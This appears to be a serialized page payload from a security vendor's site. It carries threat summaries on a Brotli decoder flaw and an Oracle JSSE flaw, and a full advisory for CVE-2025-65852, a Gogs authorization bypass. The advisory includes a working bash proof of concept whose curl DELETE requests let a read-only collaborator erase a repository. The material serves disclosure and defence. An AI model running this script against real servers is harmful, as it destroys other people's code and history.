[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-65852":30,"landing-articles":59},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":43,"references":45,"score":50,"epss_score":50,"epss_percentile":50,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":51,"attack_mappings":57,"exploits":58},359141,"CVE-2025-65852","","Gogs has authorization bypass in repository deletion API\n\n### Summary\n\nThe DELETE \u002Fapi\u002Fv1\u002Frepos\u002F:owner\u002F:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.\n\nThis vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().\n\n### Details\n0. vulnerability location:\n\n- Vulnerable Endpoint：DELETE \u002Fapi\u002Fv1\u002Frepos\u002F:owner\u002F:repo\n- Routing configuration file: internal\u002Froute\u002Fapi\u002Fv1\u002Fapi.go (approximately line 253)\n- Function handling file: internal\u002Froute\u002Fapi\u002Fv1\u002Frepo\u002Frepo.go (approximately lines 320-338)\n\n1. Root Cause Analysis\n\nCode Location 1: API Route Configuration (internal\u002Froute\u002Fapi\u002Fv1\u002Fapi.go ~ line 253)\n\n```go\n\u002F\u002F 当前的路由配置（存在漏洞）\nm.Delete(\"\", repo.Delete)  \u002F\u002F 仅继承了外层的 repoAssignment() 中间件\n```\n\nCode Location 2: Delete Function Implementation (internal\u002Froute\u002Fapi\u002Fv1\u002Frepo\u002Frepo.go ~ lines 320-338)\n```go\n\u002F\u002F Delete 函数内部没有额外的权限检查\nfunc Delete(c *context.APIContext) {\n    \u002F\u002F 直接执行删除操作，未验证用户是否为所有者\n    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {\n        c.Error(500, \"DeleteRepository\", err)\n        return\n    }\n    c.Status(204)\n}\n```\n\n2. Missing Permission Check\nComparison with route configurations for other sensitive operations:\n\n```go\n\u002F\u002F Webhooks 管理（正确实现）\nm.Group(\"\u002Fhooks\", func() {\n    m.Combo(\"\").\n        Get(repo.ListHooks).\n        Post(bind(api.CreateHookOption{}), repo.CreateHook)\n}, reqRepoAdmin())  \u002F\u002F ✅ 使用了权限中间件\n\n\u002F\u002F 部署密钥管理（正确实现）\nm.Group(\"\u002Fkeys\", func() {\n    m.Combo(\"\").\n        Get(repo.ListDeployKeys).\n        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)\n}, reqRepoAdmin())  \u002F\u002F ✅ 使用了权限中间件\n\n\u002F\u002F 删除仓库（漏洞）\nm.Delete(\"\", repo.Delete)  \u002F\u002F ❌ 没有使用权限中间件\n```\n3. Data Flow Path\n\n- API Request Path: DELETE \u002Fapi\u002Fv1\u002Frepos\u002F:owner\u002F:repo\n- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).\n- Execution: The system directly executes the repo.Delete() function.\n- Permission Check: The reqRepoOwner() middleware check is missing.\n- Internal Validation: There is no permission validation inside the Delete() function either.\n- Result: Any user with read permission can delete the repository.\n\n\n### PoC\n\nPrerequisites\n\n- A running Gogs instance.\n- The attacker's account is added as a collaborator to the target repository (Read access is sufficient).\n- The attacker possesses a valid API access token.\n- The target repository exists and is accessible.\n\n📜 Test Steps (Bash)\n\n1. Verify Gogs service is running\ncurl -I http:\u002F\u002Flocalhost:10880\n\n2. Create test accounts and repository\n- Owner account: owner \u002F owner123456\n- Read-only account: victim \u002F victim123456\n- Test repository: owner\u002Fdelete-test\n\u003Cimg width=\"1580\" height=\"832\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fd1babac8-d952-4765-ba34-d4891c12b8db\" \u002F>\n\n\n3. Add 'victim' as a read-only collaborator\nPerform this via the Web UI or API\n\u003Cimg width=\"1597\" height=\"725\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Ff76db1d4-9e45-4a97-af22-50db124ec4d0\" \u002F>\n\u003Cimg width=\"1597\" height=\"760\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Ff6ef3bd9-47d4-4202-bf10-2022be557f16\" \u002F>\n\n\n\n4. Obtain API token for 'victim'\ncurl -X POST http:\u002F\u002Flocalhost:10880\u002Fapi\u002Fv1\u002Fusers\u002Fvictim\u002Ftokens \\\n  -u victim:victim123456 \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"test-token\"}'\n\n5. Resource deleted\n\u003Cimg width=\"1602\" height=\"483\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F3e77aaaa-ffbc-4521-be4b-9a62f36499ff\" \u002F>\nWeb UI：Target repository deletion successful\n\u003Cimg width=\"1581\" height=\"853\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Ffbd6b4a4-c874-44f9-9b6e-765371eddcc7\" \u002F>\n\n\n📜 PoC Script\n\n```bash\n#!\u002Fbin\u002Fbash\n# Gogs 仓库删除授权绕过漏洞 PoC\n\n# ============ 配置信息 ============\nGOGS_URL=\"http:\u002F\u002Flocalhost:10880\"\nTARGET_REPO=\"owner\u002Fdelete-test\"\nVICTIM_TOKEN=\"your_victim_read_only_token_here\"\n\n# ============ 执行攻击 ============\necho \"========================================\"\necho \"Gogs 仓库删除授权绕过漏洞 PoC\"\necho \"========================================\"\necho \"\"\necho \"目标仓库: $TARGET_REPO\"\necho \"攻击者权限: Read（只读）\"\necho \"预期行为: 403 Forbidden（应该被拒绝）\"\necho \"\"\n\n# 步骤1：验证仓库存在\necho \"[步骤1] 验证目标仓库存在...\"\nREPO_CHECK=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL\u002Fapi\u002Fv1\u002Frepos\u002F$TARGET_REPO\")\n\nif [ \"$REPO_CHECK\" == \"200\" ]; then\n    echo \"✓ 仓库存在且可访问\"\nelse\n    echo \"✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)\"\n    exit 1\nfi\n\n# 步骤2：尝试删除仓库（漏洞利用）\necho \"\"\necho \"[步骤2] 使用只读权限尝试删除仓库...\"\nDELETE_RESPONSE=$(curl -s -w \"\\nHTTP_CODE:%{http_code}\" \\\n  -X DELETE \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL\u002Fapi\u002Fv1\u002Frepos\u002F$TARGET_REPO\")\n\nDELETE_CODE=$(echo \"$DELETE_RESPONSE\" | grep \"HTTP_CODE:\" | cut -d: -f2)\n\necho \"实际状态码: $DELETE_CODE\"\necho \"\"\n\n# 步骤3：验证结果\nif [ \"$DELETE_CODE\" == \"204\" ] || [ \"$DELETE_CODE\" == \"200\" ]; then\n    echo \"========================================\"\n    echo \"🔴 漏洞确认：删除成功！\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"只读权限用户成功删除了仓库！\"\n    echo \"\"\n    \n    # 验证仓库是否真的被删除\n    sleep 2\n    echo \"验证仓库是否真的被删除...\"\n    VERIFY_CHECK=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n      -H \"Authorization: token $VICTIM_TOKEN\" \\\n      \"$GOGS_URL\u002Fapi\u002Fv1\u002Frepos\u002F$TARGET_REPO\")\n    \n    if [ \"$VERIFY_CHECK\" == \"404\" ]; then\n        echo \"✗ 仓库已被完全删除（404 Not Found）\"\n        echo \"\"\n        echo \"危害确认：\"\n        echo \"  - 仓库及所有数据永久丢失\"\n        echo \"  - 代码历史记录不可恢复\"\n        echo \"  - 这是一个 HIGH 级别的严重漏洞\"\n    else\n        echo \"? 仓库状态未知 (状态码: $VERIFY_CHECK)\"\n    fi\n    \nelif [ \"$DELETE_CODE\" == \"403\" ]; then\n    echo \"========================================\"\n    echo \"✅ 无漏洞：操作被正确拒绝\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"只读权限用户无法删除仓库，权限检查正常\"\n    \nelse\n    echo \"========================================\"\n    echo \"⚠️  未预期的响应\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"状态码: $DELETE_CODE\"\n    echo \"这可能表示 API 端点不存在或其他错误\"\nfi\n\necho \"\"\necho \"========================================\"\necho \"PoC 执行完成\"\necho \"========================================\"\n```\n\n\n### Impact\nVulnerability Type: Broken Access Control (CWE-284)\n\nDescription: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.\n\nConsequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.\n\nSeverity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.\n\nThe Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).","2026-02-06T19:47:00Z",{},false,[39],"CWE-284",[41,42],"cpe:2.3:a:gogs.io:gogs:*:*:*:*:*:*:*:*","cpe:2.3:a:gogs.io:gogs:0.13.3:*:*:*:*:*:*:*",[44],"Gogs.Io Gogs",[46,47,48,49],"https:\u002F\u002Fgithub.com\u002Fgogs\u002Fgogs\u002Fsecurity\u002Fadvisories\u002FGHSA-rjv5-9px2-fqw6","https:\u002F\u002Fgithub.com\u002Fgogs\u002Fgogs\u002Fcommit\u002F961a79e8f9f2b3190ea804bcf635e4b43b123272","https:\u002F\u002Fgithub.com\u002Fgogs\u002Fgogs","https:\u002F\u002Fgithub.com\u002Fgogs\u002Fgogs\u002Freleases\u002Ftag\u002Fv0.13.4",0,{"timestamp":6,"automatable":52,"tech_impact":53,"exploitation":54,"cisa_decision":55,"cisa_remediation_timeline":56},"no","partial","none",{},"FSU",[],[],{"count":60,"next":61,"previous":6,"results":62},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[63,71,79],{"id":64,"title":65,"summary":66,"published_at":67,"type":68,"link":69,"image_url":70},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":72,"title":73,"summary":74,"published_at":75,"type":76,"link":77,"image_url":78},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":80,"title":81,"summary":82,"published_at":83,"type":84,"link":85,"image_url":86},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]